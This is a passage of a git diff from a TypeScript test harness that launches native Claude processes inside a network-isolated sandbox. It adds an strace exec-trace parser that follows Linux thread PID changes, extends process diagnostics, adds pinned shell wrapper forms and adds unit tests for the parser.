args: command.slice(1), env: { PATH: "/usr/bin:/bin", HOME: home, CLAUDE_CONFIG_DIR: config }, signal: params.options.abortController.signal }); child.stdin.end(); const stream = (async function* () { diff --git a/scripts/native-device-diagnostics.ts b/scripts/native-device-diagnostics.ts index d7baf13ca3..ae5f06cc1d 100644 --- a/scripts/native-device-diagnostics.ts +++ b/scripts/native-device-diagnostics.ts @@ -1,3 +1,4 @@ +import {nativeExecTrace} from "./native-exec-trace"; import {readFileSync} from "node:fs"; /** Temporary identity-only metadata probe: fixed paths, no permissions changed. */ export function nativeDeviceMetadataCommand(command:readonly string[]):string[] { @@ -21,13 +22,11 @@ export function nativeDeviceMetadata(trace:string):Array { - const pendingExec=new Map(); + const execs=new Map(nativeExecTrace(trace).at.map(event=>[event.line,event])); const states=new Map();const records:Array<{stage:string;execPosition:number;device:string;error:string}>=[]; - for(const line of trace.split("\n")){ - const exec=/^\s*(\d+)\s+execve\(("(?:\\.|[^"\\])*"),/.exec(line); - if(exec){try{pendingExec.set(Number(exec[1]),JSON.parse(exec[2]!));}catch{continue;}} - const resumed=/^\s*(\d+)\s+<\.\.\. execve resumed>/.exec(line),pid=exec?Number(exec[1]):resumed?Number(resumed[1]):undefined; - if(pid!==undefined&&line.endsWith("= 0")){const path=pendingExec.get(pid);if(path){const previous=states.get(pid);states.set(pid,{stage:expected.includes(path)?"payload":path===wrapper?"wrapper":"bootstrap",execPosition:(previous?.execPosition??0)+1});}pendingExec.delete(pid);} + for(const [lineIndex,line] of trace.split("\n").entries()){ + const exec=execs.get(lineIndex); + if(exec){const previous=states.get(exec.pid);states.set(exec.pid,{stage:expected.includes(exec.path)?"payload":exec.path===wrapper?"wrapper":"bootstrap",execPosition:(previous?.execPosition??0)+1});} const fork=/^\s*(\d+)\s+(?:clone3?|fork|vfork)\(.*\)\s+= (\d+)$/.exec(line); if(fork){const state=states.get(Number(fork[1]));if(state)states.set(Number(fork[2]),{...state});} const failed=/^\s*(\d+)\s+open(?:at2?)?\(.*?"(\/dev\/(?:stdin|stdout|stderr|null|urandom|tty|fd\/\d+|pts\/\d+|shm\/[^"/]+))".*= -1 (EACCES|EPERM)\b/.exec(line); diff --git a/scripts/native-exec-trace.ts b/scripts/native-exec-trace.ts new file mode 100644 index 0000000000..7c15c243b4 --- /dev/null +++ b/scripts/native-exec-trace.ts @@ -0,0 +1,37 @@ +/** Parse only strace-owned exec records, including Linux de_thread PID changes. */ +export function nativeExecTrace(trace:string) { + const events:{pid:number;path:string}[]=[],pending=new Map(),initiator=new Map(),ambiguous=new Set(); + const at:{line:number;pid:number;path:string}[]=[]; + const record=(pid:number,path:string,line:number)=>{events.push({pid,path});at.push({line,pid,path});}; + const counters={completed:0,splitStarted:0,splitSucceeded:0,splitFailed:0,splitIncomplete:0,splitAmbiguous:0,superseded:0}; + for(const [lineIndex,line] of trace.split("\n").entries()){ + const migration=/^\s*(\d+)\s+\+\+\+ superseded by execve in pid (\d+) \+\+\+$/.exec(line); + if(migration){ + const leader=Number(migration[1]),thread=Number(migration[2]); + const previous=initiator.get(leader); + if(previous!==undefined&&previous!==thread){ambiguous.add(leader);initiator.delete(leader);for(const pid of [previous,thread])if(pending.delete(pid))counters.splitIncomplete++;counters.splitAmbiguous++;} + if(!ambiguous.has(leader)&&leader!==thread&&pending.has(thread)&&!initiator.has(leader)){initiator.set(leader,thread);counters.superseded++;} + continue; + } + const resumed=/^\s*(\d+)\s+<\.\.\. execve resumed>.*\)\s+= (-?\d+)(?:\s.*)?$/.exec(line); + if(resumed){ + const leader=Number(resumed[1]);if(ambiguous.has(leader))continue; + const thread=initiator.get(leader)??leader,path=pending.get(thread); + if(path!==undefined){ + pending.delete(thread);initiator.delete(leader); + if(resumed[2]==="0"){record(leader,path,lineIndex);counters.splitSucceeded++;}else counters.splitFailed++; + }continue; + } + const start=/^\s*(?:(\d+)\s+)?execve\(("(?:\\.|[^"\\])*")\s*,/.exec(line); + if(!start)continue; + let path:string;try{path=JSON.parse(start[2]!);}catch{continue;} + const pid=Number(start[1]??0); + if(/\)\s+= 0$/.test(line)){record(pid,path,lineIndex);counters.completed++;} + else if(/<(?:unfinished|pid changed to \d+) \.\.\.>$/.test(line)){ + if(pending.has(pid))counters.splitIncomplete++; + pending.set(pid,path);counters.splitStarted++; + } + } + counters.splitIncomplete+=pending.size; + return {events,counters,at}; +} diff --git a/scripts/native-rtk-diagnostics.ts b/scripts/native-rtk-diagnostics.ts index 2fc0e4ad3f..5827f88576 100644 --- a/scripts/native-rtk-diagnostics.ts +++ b/scripts/native-rtk-diagnostics.ts @@ -14,10 +14,11 @@ export function nativeRtkExecutableLabel(error:unknown):string|undefined { if(nativeRtkFailureCategory(error)!=="exe-mismatch"||!(error instanceof Error))return; return ["basename-equal-but-path-differs","different-basename","unavailable"].includes(String(error.cause))?String(error.cause):"unavailable"; } -export function nativeRtkUnavailableLabels(error:unknown):{source:string;errno:string}|undefined { +export function nativeRtkUnavailableLabels(error:unknown):Record|undefined { if(!(error instanceof Error)||error.message!=="native fixture RTK executable unavailable")return; - const cause=error.cause as {source?:unknown;errno?:unknown}|undefined; - return {source:["canonicalize-selected","read-proc-exe"].includes(String(cause?.source))?String(cause?.source):"unknown",errno:["ENOENT","EACCES","EPERM","ESRCH","ELOOP","ENOTDIR"].includes(String(cause?.errno))?String(cause?.errno):"unknown"}; + const cause=error.cause as {source?:unknown;errno?:unknown;processState?:unknown;leader?:unknown;exeReadlink?:unknown;exeStat?:unknown}|undefined; + const processLabels=cause&&Object.hasOwn(cause,"processState")?{processState:["running","sleeping","disk-sleep","zombie","stopped","tracing-stop","dead","idle","missing"].includes(String(cause.processState))?String(cause.processState):"unknown",leader:typeof cause.leader==="boolean"?cause.leader:null,...Object.fromEntries(["exeReadlink","exeStat"].map(key=>[key,["ok","ENOENT","EACCES","EPERM","ESRCH","ELOOP","ENOTDIR"].includes(String(cause[key as "exeReadlink"|"exeStat"]))?String(cause[key as "exeReadlink"|"exeStat"]):"unknown"]))}:{}; + return {...processLabels,source:["canonicalize-selected","read-proc-exe"].includes(String(cause?.source))?String(cause?.source):"unknown",errno:["ENOENT","EACCES","EPERM","ESRCH","ELOOP","ENOTDIR"].includes(String(cause?.errno))?String(cause?.errno):"unknown"}; } export function diagnoseNativeFixtureRtk(register:()=>void):void { try{register();}catch(error){nativeReceipt({kind:"native-fixture-rtk-registration",head:nativeTestHead(),success:false,category:nativeRtkFailureCategory(error),...nativeRtkUnavailableLabels(error),...(nativeRtkExecutableLabel(error)?{executableLabel:nativeRtkExecutableLabel(error)}:{})});throw error;} diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 1f1a94860a..fe33ac5410 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -1,3 +1,4 @@ +import { nativeExecTrace } from "./native-exec-trace"; import { nativeDeviceMetadata, nativeDeviceMetadataCommand, nativeStartupOpenStages, nativeSeparateUidAuditCommand } from "./native-device-diagnostics"; import { nativeReceipt } from "./native-test-receipts.ts"; /** Test-only OS boundary for installed native Claude processes (#4313). */ @@ -370,7 +371,7 @@ export function deniedNativeSocketOperations(trace:string):number { /** A successful exec trace for the expected program is the launch evidence. */ export function nativeExecObserved(trace: string, paths: readonly string[]): boolean { - return trace.split("\n").some(line => paths.some(path => line.includes(`execve(${JSON.stringify(path)},`)) && /\)\s+= 0$/.test(line.trim())); + return nativeExecTrace(trace).events.some(event=>paths.includes(event.path)); } const AUDIT_ACL = `import os,struct,sys @@ -475,7 +476,10 @@ export function auditNativeLaunch(argv: string[], expected: readonly string[], c // Wider diagnostics may contain syscall-looking filenames; only actual // connect/exec records participate in the security receipt. const auditTrace = diagnosticRoot ? trace.split("\n").filter(line => /^\s*(?:[0-9]+\s+)?(?:execve\(|(?:connect|sendto|sendmsg|sendmmsg|bind|listen|accept|accept4)\(|<\.\.\. (?:connect|sendto|sendmsg|sendmmsg|bind|listen|accept|accept4) resumed>)/.test(line)).join("\n") : trace; - const nativeLaunched = nativeExecObserved(auditTrace, expected); + const execEvidence=nativeExecTrace(trace); + const nativeLaunched = execEvidence.events.some(event=>expected.includes(event.path)); + const execCounters={...execEvidence.counters,expected:execEvidence.events.filter(event=>expected.includes(event.path)).length}; + nativeReceipt({kind:"native-offline-exec-evidence",head:nativeTestHead(),...execCounters}); if (!nativeLaunched) denied++; receipt = { kind: "native-offline-audit", head: nativeTestHead(), nativeLaunched, success: nativeLaunched, ...(!nativeLaunched ? { reason: "native exec was not observed" } : {}), deniedConnects: deniedNativeConnects(auditTrace) }; @@ -483,7 +487,7 @@ export function auditNativeLaunch(argv: string[], expected: readonly string[], c for(const failure of nativeStartupOpenStages(trace,expected,process.execPath))nativeReceipt({kind:"native-fixture-startup-open",head:nativeTestHead(),...failure}); for(const metadata of nativeDeviceMetadata(trace))nativeReceipt({kind:"native-fixture-device-metadata",head:nativeTestHead(),...metadata}); try { writeFileSync(join(diagnosticRoot, `native-startup-audit-${directoryStamp.ino}.json`), - JSON.stringify({ kind: "native-fixture-startup-audit", head: nativeTestHead(), text: scrubNativeStartupTrace(trace,diagnosticFixtureRoots),deviceMetadata:nativeDeviceMetadata(trace),failedOpenStages:nativeStartupOpenStages(trace,expected,process.execPath), verdict:receipt }), { flag: "wx", mode: 0o600 }); } + JSON.stringify({ kind: "native-fixture-startup-audit", head: nativeTestHead(), text: scrubNativeStartupTrace(trace,diagnosticFixtureRoots),deviceMetadata:nativeDeviceMetadata(trace),failedOpenStages:nativeStartupOpenStages(trace,expected,process.execPath), verdict:receipt,execCounters }), { flag: "wx", mode: 0o600 }); } catch { nativeReceipt({kind:"native-fixture-startup-audit-failure",head:nativeTestHead(),success:false,reason:"startup audit snapshot unavailable"}); } } const socketDenials=deniedNativeSocketOperations(auditTrace); @@ -505,9 +509,8 @@ export function auditNativeLaunch(argv: string[], expected: readonly string[], c if(!storageIntact())throw Error("native fixture RTK audit integrity unavailable"); const bytes=readFileSync(log);if(bytes.length>8*1024*1024||!storageIntact())throw Error("native fixture RTK audit unavailable"); const pids=new Map(); - for(const line of bytes.toString("utf8").split("\n")){ - const match=/^\s*([0-9]+)\s+execve\(("(?:\\.|[^"\\])*"),.*\)\s+= 0$/.exec(line); - if(match){let path:string;try{path=JSON.parse(match[2]!);}catch{continue;}if(expected.includes(path)){const pid=Number(match[1]);let start=liveStarts.get(pid);if(!start){try{start=processStart(pid);}catch{continue;}liveStarts.set(pid,start);}pids.set(pid,start);}} + for(const {pid,path} of nativeExecTrace(bytes.toString("utf8")).events){ + if(pid>0&&expected.includes(path)){let start=liveStarts.get(pid);if(!start){try{start=processStart(pid);}catch{continue;}liveStarts.set(pid,start);}pids.set(pid,start);} } return pids; } }; @@ -627,6 +630,7 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { const childEnv: Record = { HOME: home, CLAUDE_CONFIG_DIR: versionHome ?? env.CLAUDE_CONFIG_DIR ?? home, PATH: tools.path, LANG: "C.UTF-8", ...nativeDirectTransportEnvironment(env,Boolean(inheritedOrigin)), + ...(!authStatus?{BRAIN_TEST_EFFECT_SOCKET:"/tmp/native-relay/relay.sock"}:{}), CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1", DISABLE_AUTOUPDATER: "1" }; // These are public model selectors, never ambient provider credentials. for (const key of ["ANTHROPIC_MODEL", "ANTHROPIC_DEFAULT_SONNET_MODEL", "ANTHROPIC_DEFAULT_OPUS_MODEL", "ANTHROPIC_DEFAULT_HAIKU_MODEL", "ANTHROPIC_SMALL_FAST_MODEL", "CLAUDE_CODE_SUBAGENT_MODEL", "CLAUDE_CODE_DISABLE_AUTO_MEMORY", "ENABLE_TOOL_SEARCH"]) { @@ -938,6 +942,14 @@ export function observeNativeFixtureRtkSpawn(pid:number,launch:import("../packag nativeFixtureRtkSpawns.set(pid,{start,launch:structuredClone(launch),expected:[...expected],liveExecs}); if(nativeFixtureRtkSpawns.size>256)nativeFixtureRtkSpawns.delete(nativeFixtureRtkSpawns.keys().next().value!); } +/** Fixed diagnostics only; none of these observations grants adapter authority. */ +export function nativeRtkProcessEvidence(pid:number){ + const label=(error:unknown)=>{const code=(error as NodeJS.ErrnoException).code;return ["ENOENT","EACCES","EPERM","ESRCH","ELOOP","ENOTDIR"].includes(code??"")?code!:"unknown";}; + let processState="unknown",leader:boolean|null=null; + try{const status=readFileSync(`/proc/${pid}/status`,"utf8"),state=/^State:\s+(\S)/m.exec(status)?.[1];processState=({R:"running",S:"sleeping",D:"disk-sleep",Z:"zombie",T:"stopped",t:"tracing-stop",X:"dead",I:"idle"} as Record)[state??""]??"unknown";const tgid=/^Tgid:\s+(\d+)/m.exec(status);if(tgid)leader=Number(tgid[1])===pid;}catch(error){if(label(error)==="ENOENT")processState="missing";} + let exeReadlink="ok",exeStat="ok";try{readlinkSync(`/proc/${pid}/exe`);}catch(error){exeReadlink=label(error);}try{statSync(`/proc/${pid}/exe`);}catch(error){exeStat=label(error);} + return {processState,leader,exeReadlink,exeStat}; +} /** Re-register only the kernel/audit-proven payload view hidden by our broker. */ export function registerNativeFixtureRtk(worker:import("../packages/ui-sdk/src/server/worker-launcher").LaunchedWorker):void { const record=nativeFixtureRtkSpawns.get(worker.pid); @@ -954,7 +966,8 @@ export function registerNativeFixtureRtk(worker:import("../packages/ui-sdk/src/s for(const [pid,auditedStart] of record.liveExecs()){ const start=owned.get(pid);if(!start)continue; if(start!==auditedStart)throw Error("native fixture RTK audited identity changed"); - let executable:string;try{executable=realpathSync(`/proc/${pid}/exe`);}catch(error){throw Error("native fixture RTK executable unavailable",{cause:{source:"read-proc-exe",errno:(error as NodeJS.ErrnoException).code}});} + let executable:string;try{executable=realpathSync(`/proc/${pid}/exe`);}catch(error){throw Error("native fixture RTK executable unavailable",{cause:{source:"read-proc-exe",errno:(error as NodeJS.ErrnoException).code,...nativeRtkProcessEvidence(pid)}});} + if(nativeRtkProcessEvidence(pid).leader!==true)throw Error("native fixture RTK audited identity changed"); if(!expected.includes(executable))throw Error("native fixture RTK executable changed",{cause:expected.some(path=>basename(path)===basename(executable))?"basename-equal-but-path-differs":"different-basename"}); if(processStart(pid)!==start)throw Error("native fixture RTK payload identity changed");selected.push(pid); } @@ -1230,8 +1243,14 @@ export function nativeUnrelayedWorkerPayloadCommand(payload:string[],protect:(ar /** Exact product shell forms; source equality is asserted by the classification suite. */ export const nativeProductShellWrappers = [ - {name:"status",script:'exec 3>"$1"; exec 4<"$2"; shift 2; exec "$@"'}, - {name:"host-probe",script:'cd / && exec "$0" --no-env-file -e "$1"'}, + {name:"state-gate",kind:"args",marker:"brain-worker-state-gate",script:'IFS= read -r go && [ "$go" = go ] || exit 125; exec "$@"'}, + {name:"start-gate",kind:"args",marker:"brain-worker-start-gate",script:'IFS= read -r go <&4 && [ "$go" = go ] || exit 125; exec 4<&-; exec "$@"'}, + {name:"status",kind:"status",marker:"brain-worker-status",script:'exec 3>"$1"; exec 4<"$2"; shift 2; exec "$@"'}, + {name:"host-probe",kind:"probe",script:'cd / && exec "$0" --no-env-file -e "$1"'}, + {name:"maintenance-empty-git",kind:"zero",script:'r="$1"; shift; "$0" init -q --bare "$r" >/dev/null 2>&1 && exec "$0" --git-dir="$r" --work-tree=. "$@"'}, + {name:"scratch-empty-git",kind:"zero",script:'r=/tmp/brain-mask-empty-repository; "$0" init -q --bare "$r" >/dev/null 2>&1 && exec "$0" --git-dir="$r" --work-tree=. "$@"'}, + {name:"reference-umask",kind:"args",marker:"reference-git",script:'umask 002 && exec "$@"'}, + {name:"cli-sync",kind:"zero",script:'"$0" "$@" 2>&1'}, ] as const; /** Only positively non-native worker plans bypass native admission checks. */ export function nativeWorkerArgvNeedsIsolation(argv:readonly string[],context:SpawnContext={},depth=0):boolean { @@ -1250,14 +1269,16 @@ export function nativeWorkerArgvNeedsIsolation(argv:readonly string[],context:Sp let flag=i+1;while(argv[flag]?.startsWith("-")&&!/^-[a-z]*c[a-z]*$/.test(argv[flag]!))flag++; if(!/^-[a-z]*c[a-z]*$/.test(argv[flag]??""))continue; const script=argv[flag+1];if(script===undefined)return true; - // These pinned product gates exec only their supplied argv, scanned above. - const knownGate=(script==='IFS= read -r go && [ "$go" = go ] || exit 125; exec "$@"'&&argv[flag+2]==="brain-worker-state-gate"||script==='IFS= read -r go <&4 && [ "$go" = go ] || exit 125; exec 4<&-; exec "$@"'&&argv[flag+2]==="brain-worker-start-gate"); - if(knownGate&&argv.length>flag+3){if(nativeWorkerArgvNeedsIsolation(argv.slice(flag+3),context,depth+1))return true;continue;} const wrapper=nativeProductShellWrappers.find(shape=>shape.script===script); - if(wrapper?.name==="status"&&argv[flag+2]==="brain-worker-status"&&argv.length>flag+5){if(nativeWorkerArgvNeedsIsolation(argv.slice(flag+5),context,depth+1))return true;continue;} - if(wrapper?.name==="host-probe"&&argv.length===flag+4){ - let target:string;try{target=realpathSync(resolveExecutable(argv[flag+2]!,context));}catch{return true;} - if(nativeWorkerArgvNeedsIsolation([target,"--no-env-file","-e",argv[flag+3]!],context,depth+1))return true;continue; + if(wrapper){ + let payload:readonly string[]|undefined; + if(wrapper.kind==="args"&&argv[flag+2]===wrapper.marker&&argv.length>flag+3)payload=argv.slice(flag+3); + if(wrapper.kind==="status"&&argv[flag+2]===wrapper.marker&&argv.length>flag+5)payload=argv.slice(flag+5); + if(wrapper.kind==="probe"&&argv.length===flag+4)payload=[argv[flag+2]!,"--no-env-file","-e",argv[flag+3]!]; + if(wrapper.kind==="zero"&&argv.length>flag+2)payload=argv.slice(flag+2); + if(!payload)return true; + let target:string;try{target=realpathSync(resolveExecutable(payload[0]!,context));}catch{return true;} + if(nativeWorkerArgvNeedsIsolation([target,...payload.slice(1)],context,depth+1))return true;continue; } if(/(?:^|[;&|()\n])\s*(?:eval|source|\.)\s/.test(script))return true; for(const token of script.matchAll(/[^\s'";&|<>(){}\[\]]+/g))if(isNativeClaude(token[0],[],context))return true; @@ -1348,7 +1369,7 @@ export function nativeWorkerBoundary(env: Record): { else if (workerArgv[i] === "--setenv" && !WORKER_RUNTIME_ENV.has(workerArgv[i + 1]!)) workerArgv.splice(i--, 3); } workerArgv.splice(bwrap + 1, 0, "--clearenv", "--unshare-net", "--unshare-pid"); - const pinned = { ...nativeDirectTransportEnvironment(launch.env??{},Boolean(ownedOrigin)),...(ownedOrigin?{ANTHROPIC_UNIX_SOCKET:socket!}:{}), + const pinned = { BRAIN_TEST_EFFECT_SOCKET:ownedOrigin?socket!:"/tmp/native-relay/relay.sock", ...nativeDirectTransportEnvironment(launch.env??{},Boolean(ownedOrigin)),...(ownedOrigin?{ANTHROPIC_UNIX_SOCKET:socket!}:{}), PATH: tools.path, CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1", DISABLE_AUTOUPDATER: "1", ...(["0", "1"].includes(launch.env?.USE_BUILTIN_RIPGREP ?? "") ? { USE_BUILTIN_RIPGREP: launch.env!.USE_BUILTIN_RIPGREP! } : {}), ANTHROPIC_API_KEY: "", ANTHROPIC_AUTH_TOKEN: "", CLAUDE_CODE_OAUTH_TOKEN: "", diff --git a/scripts/test-network-guard.ts b/scripts/test-network-guard.ts index 3f07f574db..786b512c9e 100644 --- a/scripts/test-network-guard.ts +++ b/scripts/test-network-guard.ts @@ -183,7 +183,7 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { } const workerBoundary = boundary ? undefined : nativeWorkerBoundary(testGitEnvironment({ ...options.env ?? process.env, ...(options.env?.BRAIN_NATIVE_TEST_HEAD === undefined ? { BRAIN_NATIVE_TEST_HEAD: nativeTestHead() } : {}), - ...(options.env?.GITHUB_ACTIONS === undefined && process.env.GITHUB_ACTIONS === "true" ? { GITHUB_ACTIONS: "true", RUNNER_ENVIRONMENT: options.env?.RUNNER_ENVIRONMENT ?? process.env.RUNNER_ENVIRONMENT } : {}) })); + ...(!Object.hasOwn(options.env ?? {},"GITHUB_ACTIONS") && process.env.GITHUB_ACTIONS === "true" ? { GITHUB_ACTIONS: "true", ...(!Object.hasOwn(options.env ?? {},"RUNNER_ENVIRONMENT")?{RUNNER_ENVIRONMENT:process.env.RUNNER_ENVIRONMENT}:{}) } : {}) })); let inherited = inheritWorkspaceLease({ ...options, env: boundary?.env ?? workerBoundary!.env }, defaultStderr, pipeOnly); if(!boundary&&!pipeOnly&&!isGuardedNativePlan(cmd)){ const actual=Array.isArray(args[0])?args[0] as string[]:(args[0] as {cmd:string[]}).cmd; diff --git a/scripts/worker-effect-witness.ts b/scripts/worker-effect-witness.ts index e8673cee47..88fe3951f6 100644 --- a/scripts/worker-effect-witness.ts +++ b/scripts/worker-effect-witness.ts @@ -7,7 +7,7 @@ export function createWorkerEffectWitness(paths: Record) { const path = `/__fixture_effects/${crypto.randomUUID()}`; const witness = `import {existsSync} from "node:fs"; const paths=${JSON.stringify(paths)}; - const socket=process.env.ANTHROPIC_UNIX_SOCKET; + const socket=process.env.BRAIN_TEST_EFFECT_SOCKET; if(!socket)throw Error("Fixture effect witness requires the pinned scripted Unix service"); const url=new URL(${JSON.stringify(path)},process.env.ANTHROPIC_BASE_URL); const response=await fetch(url,{unix:socket,method:"POST",body:JSON.stringify( diff --git a/tests/helpers/test-invocation-fixture.ts b/tests/helpers/test-invocation-fixture.ts index 2b6b018ed3..9b8201e47f 100644 --- a/tests/helpers/test-invocation-fixture.ts +++ b/tests/helpers/test-invocation-fixture.ts @@ -10,7 +10,7 @@ export function invocationFixture(parent = tmpdir()) { write("bun.lock", "{}\n"); write(".gitignore", "node_modules/\npackages/*/dist/\ntmp/\n"); write("tsconfig.json", JSON.stringify({ compilerOptions: { target: "ES2019", module: "ESNext", moduleResolution: "Bundler", types: [], skipLibCheck: true } })); - for (const file of ["build.ts", "clean.ts", "build-execution.ts", "build-receipt.ts", "build-repeat-observation.ts", "bin-modes.ts", "publishable-packages.ts", "workspace-lease.mjs", "host-admission.mjs", "test.ts", "test-shards.ts", "test-shard-costs.json", "test-invocation.ts", "test-invocation-child.ts", "runtime-test-builds.ts", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "test-network-child-preload.ts", "unit-worker-entry.sh"]) { + for (const file of ["build.ts", "clean.ts", "build-execution.ts", "build-receipt.ts", "build-repeat-observation.ts", "bin-modes.ts", "publishable-packages.ts", "workspace-lease.mjs", "host-admission.mjs", "test.ts", "test-shards.ts", "test-shard-costs.json", "test-invocation.ts", "test-invocation-child.ts", "runtime-test-builds.ts", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "test-network-child-preload.ts", "unit-worker-entry.sh"]) { write(`scripts/${file}`, readFileSync(join(source, "scripts", file), "utf8")); } for (const file of ["packages/core/tests/cli-harness.ts", "packages/ui-react/tests/fixtures/runtime-package-build.ts", "packages/ui-react/tests/fixtures/runtime-hook-phases.ts"]) write(file, readFileSync(join(source, file), "utf8")); diff --git a/tests/local-checks.test.ts b/tests/local-checks.test.ts index 60abe88eaf..9323a52f26 100644 --- a/tests/local-checks.test.ts +++ b/tests/local-checks.test.ts @@ -423,7 +423,7 @@ function importFixture() { const dir = fixture(); const root = join(import.meta.dir, ".."); mkdirSync(join(dir, "scripts")); - for (const helper of ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { + for (const helper of ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { cpSync(join(root, "scripts", helper), join(dir, "scripts", helper)); } mkdirSync(join(dir, "packages/core/tests"), { recursive: true }); diff --git a/tests/native-device-diagnostics.test.ts b/tests/native-device-diagnostics.test.ts index 158b36b2ac..4b16795e12 100644 --- a/tests/native-device-diagnostics.test.ts +++ b/tests/native-device-diagnostics.test.ts @@ -59,3 +59,8 @@ test("device mount metadata retains only fixed kernel flag booleans",()=>{ const trace='9 statfs("/dev/urandom", {f_type=TMPFS_MAGIC, f_flags=ST_VALID|ST_NOSUID|ST_NODEV|ST_RDONLY|ST_RELATIME}) = 0\n9 statfs("/home/private-owner/secret", {f_flags=ST_NODEV}) = 0'; expect(nativeDeviceMetadata(trace),"FIXED_DEVICE_MOUNT_FLAGS_ONLY").toEqual([{device:"urandom",nodev:true,nosuid:true,ro:true}]); }); + +test("open-stage labels follow a migrated exec to its surviving leader",()=>{ + const trace='41 execve("/fixture/wrapper", [], []) = 0\n42 execve("/fixture/payload", [], [] \n41 +++ superseded by execve in pid 42 +++\n41 <... execve resumed>) = 0\n41 openat(AT_FDCWD, "/dev/urandom", O_RDONLY) = -1 EACCES (Permission denied)'; + expect(nativeStartupOpenStages(trace,["/fixture/payload"],"/fixture/wrapper"),"MIGRATED_EXEC_OPEN_STAGE_IS_PAYLOAD").toEqual([{stage:"payload",execPosition:2,device:"urandom",error:"EACCES"}]); +}); diff --git a/tests/native-exec-trace.test.ts b/tests/native-exec-trace.test.ts new file mode 100644 index 0000000000..4a11d8d611 --- /dev/null +++ b/tests/native-exec-trace.test.ts @@ -0,0 +1,34 @@ +import {expect,test} from "bun:test"; +import {mkdtempSync,writeFileSync,readFileSync,rmSync} from "node:fs"; +import {join} from "node:path"; +import {nativeExecTrace} from "../scripts/native-exec-trace"; +import {nativeExecObserved} from "../scripts/test-native-guard"; +import {watchdogMs} from "../scripts/test-deadlines"; + +for(const split of ["unfinished","pid changed to 41"])test(`exec pairing follows superseded thread to leader (${split})`,()=>{ + const trace=`42 execve("/usr/bin/true", [], [] <${split} ...>\n41 +++ superseded by execve in pid 42 +++\n41 <... execve resumed>) = 0`; + expect(nativeExecTrace(trace).events,"EXEC_ATTRIBUTED_TO_RESULTING_LEADER").toEqual([{pid:41,path:"/usr/bin/true"}]); + expect(nativeExecObserved(trace,["/usr/bin/true"]),"MIGRATED_EXEC_IS_OBSERVED").toBe(true); + expect(nativeExecTrace(trace).counters).toMatchObject({splitSucceeded:1,superseded:1,splitIncomplete:0}); + for(const bad of [trace.replace("= 0","= -1 ENOENT"),trace.split("\n").slice(0,-1).join("\n"),trace.replace('pid 42','pid 43')])expect(nativeExecTrace(bad).events,"INCOMPLETE_FAILED_OR_UNMATCHED_EXEC_REJECTED").toEqual([]); +}); + +test("real non-leader pthread exec is audited at the surviving process leader",()=>{ + const root=mkdtempSync("/tmp/odysseus-exec-proof-"); + try{ + const source=join(root,"exec.c"),binary=join(root,"thread-exec"),trace=join(root,"trace"); + writeFileSync(source,'#include \n#include \nstatic void *run(void *unused){(void)unused;execl("/usr/bin/true","true",(char*)0);_exit(125);}\nint main(void){pthread_t thread;if(pthread_create(&thread,0,run,0))return 125;for(;;)pause();}\n'); + const built=Bun.spawnSync(["cc","-pthread",source,"-o",binary],{stdout:"pipe",stderr:"pipe",timeout:watchdogMs(10000)});expect(built.exitCode,built.stderr.toString()).toBe(0); + const traced=Bun.spawnSync(["strace","-f","-qq","-s","0","-e","trace=execve,clone","-o",trace,binary],{stdout:"pipe",stderr:"pipe",timeout:watchdogMs(10000)});expect(traced.exitCode,traced.stderr.toString()).toBe(0); + const raw=readFileSync(trace,"utf8"),parsed=nativeExecTrace(raw),initial=parsed.events.find(event=>event.path===binary),target=parsed.events.find(event=>event.path==="/usr/bin/true"); + expect(initial).toBeDefined();expect(target?.pid,"REAL_THREAD_EXEC_SURVIVES_AS_OWNED_LEADER").toBe(initial!.pid); + expect(parsed.counters.superseded,"REAL_TRACE_EXERCISES_DE_THREAD").toBe(1);expect(parsed.counters.splitSucceeded).toBe(1); + expect(nativeExecObserved(raw,["/usr/bin/true"]),"REAL_THREAD_EXEC_AUDIT_SUCCEEDS").toBe(true); + }finally{rmSync(root,{recursive:true,force:true});} +}); + +test("conflicting superseded mappings cannot attribute an exec",()=>{ + const trace='42 execve("/native", [], [] \n43 execve("/other", [], [] \n41 +++ superseded by execve in pid 42 +++\n41 +++ superseded by execve in pid 43 +++\n41 <... execve resumed>) = 0'; + expect(nativeExecTrace(trace).events,"AMBIGUOUS_EXEC_MIGRATION_REFUSED").toEqual([]); + expect(nativeExecTrace(trace).counters.splitAmbiguous).toBe(1); +}); diff --git a/tests/native-fixture-files.test.ts b/tests/native-fixture-files.test.ts index d054a944a5..b55a1d1e20 100644 --- a/tests/native-fixture-files.test.ts +++ b/tests/native-fixture-files.test.ts @@ -3,6 +3,33 @@ import {join} from "node:path"; import {spawnGuardFixture} from "./helpers/native-receipt-fixture"; const guard=join(import.meta.dir,"../scripts/test-native-guard.ts"); +test("shell startup declares every external home witness",async()=>{ + const ts=await import("typescript"),fs=await import("node:fs"); + const source=ts.createSourceFile("shell-startup-probe.ts",fs.readFileSync(join(import.meta.dir,"../packages/ui-backend-claude/tests/fixtures/shell-startup-probe.ts"),"utf8"),ts.ScriptTarget.Latest,true); + let startupExpression="",filesExpression=""; + function visit(node:import("typescript").Node):void{ + if(ts.isVariableDeclaration(node)&&node.name.getText(source)==="startupFiles")startupExpression=node.initializer!.getText(source); + if(ts.isPropertyAssignment(node)&&node.name.getText(source)==="fixtureFiles")filesExpression=node.initializer.getText(source); + ts.forEachChild(node,visit); + }visit(source); + const 